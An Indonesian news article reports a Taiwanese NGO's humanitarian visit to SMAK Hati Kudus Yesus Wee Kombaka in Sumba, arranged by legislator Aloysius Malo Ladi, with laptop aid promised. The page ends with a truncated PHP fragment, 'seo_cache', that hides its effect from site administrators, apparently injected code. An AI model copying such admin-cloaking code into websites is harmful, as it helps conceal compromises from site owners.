Pendidikan

Alo Malo Ladi Ajak NGO Asal Taiwan Bersumbangsih Bantu Lembaga Pendidikan di Sumba

×

Alo Malo Ladi Ajak NGO Asal Taiwan Bersumbangsih Bantu Lembaga Pendidikan di Sumba

Sebarkan artikel ini

WEWEWA BARAT, MENARASUMBA.COM – Tim Humanitarian Care Society akhirnya menjejakkan kaki di SMA Katolik Hati Kudus Yesus Wee Kombaka, Kecamatan Wewewa Barat.

Kehadiran lembaga Non Government Organization (NGO) yang berpusat di Taiwan dan banyak bergerak dalam bidang sosial ini diprakarsai oleh anggota DPRD NTT, Aloysius Malo Ladi, SE.

Turut hadir Asisten Bidang Pemerintahan dan Kesejahteraan Rakyat Setda Kabupaten SBD, Christofel Horo, SH, anggota DPRD SBD dari Fraksi PKB, Tobias Dowa Lelu dan Lukas Camma, Ketua Yapnusda Romo Marsel P. Lamunde, Pr, dan Kepala SMAK Hati Kudus Yesus Wee Kombaka, Romo Benyamin Leti Galli, Pr.

Kedatangan rombongan tersebut di lokasi sekolah lanjutan atas yang dikelola Yayasan Pendidikan Nusa Cendana (Yapnusda) pada Selasa (12/08/2025) ini membawa misi kemanusiaan.

Dalam kata sapaannya Aloysius Malo Ladi menjelaskan, bahwa lembaga NGO asal Taiwan ini sudah sering kali membantu masyarakat Pulau Sumba.

“Terima kasih sudah jauh-jauh datang dari Taiwan menginjakkan kaki di Pulau Sumba dan ini sudah yang kelima kalinya,” sapa Aloysius.

Politisi muda yang juga Ketua DPW PKB NTT ini mengisahkan, beberapa bulan lalu dirinya baru saja berkunjung ke Taiwan atas undangan pemerintah negara itu.

Dalam sebuah jamuan ia telah menyampaikan kepada Presiden dengan menunjukkan dokumentasi kondisi sekolah yang ada di Sumba.

“Saya tunjukkan keadaan sekolah di Sumba, dimana ada SD, SMP, SLA yang kondisinya tidak jauh berbeda seperti SMAK Hati Kudus Yesus Wee Kombaka,” paparnya.

Mantan Wakil Ketua DPRD NTT periode 2019-2024 tersebut menandaskan, upaya menggandeng NGO asal luar negeri dilandasi oleh sejumlah hal mendasar.

Secara umum, kata dia lagi, kondisi keuangan negara yang saat ini terbatas merupakan hal pokok yang mesti dipikirkan oleh segenap penggiat pendidikan.

“Kalau kami meminta bantuan dari pemerintah tentu terbatas karena efisiensi anggaran yang saat ini diterapkan oleh pemerintah pusat,” imbuhnya.

Selaku anggota DPRD Provinsi NTT yang mewakili suara rakyat dari wilayah Pulau Sumba ia mengaku tidak bisa berdiam diri dengan kondisi ini.

“Saya terus berupaya membangun komunikasi dengan pihak luar agar bisa membantu pembangunan di wilayah ini baik di bidang pendidikan, pariwisata dan hal-hal lain,” ungkapnya.

Aloysius berharap tim kemanusiaan tersebut sudah melihat, merekam, dan merasakan seperti apa sesungguhnya keberadaan masyarakat di Sumba.

Dalam sebuah jamuan makan saat kunjungan yang lalu di Taiwan, ia telah mendengar sendiri penyampaian Presiden bahwa akan membantu lima sekolah.

Sementara itu dipastikan SMAK Hati Kudus Yesus akan mendapat bantuan laptop.

“Kami berharap tentunya nanti akan didiskusikan oleh tim apa saja yang hendak dibantu, dan pada prinsipnya kami berterima kasih karena itu merupakan berkat bagi kami,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>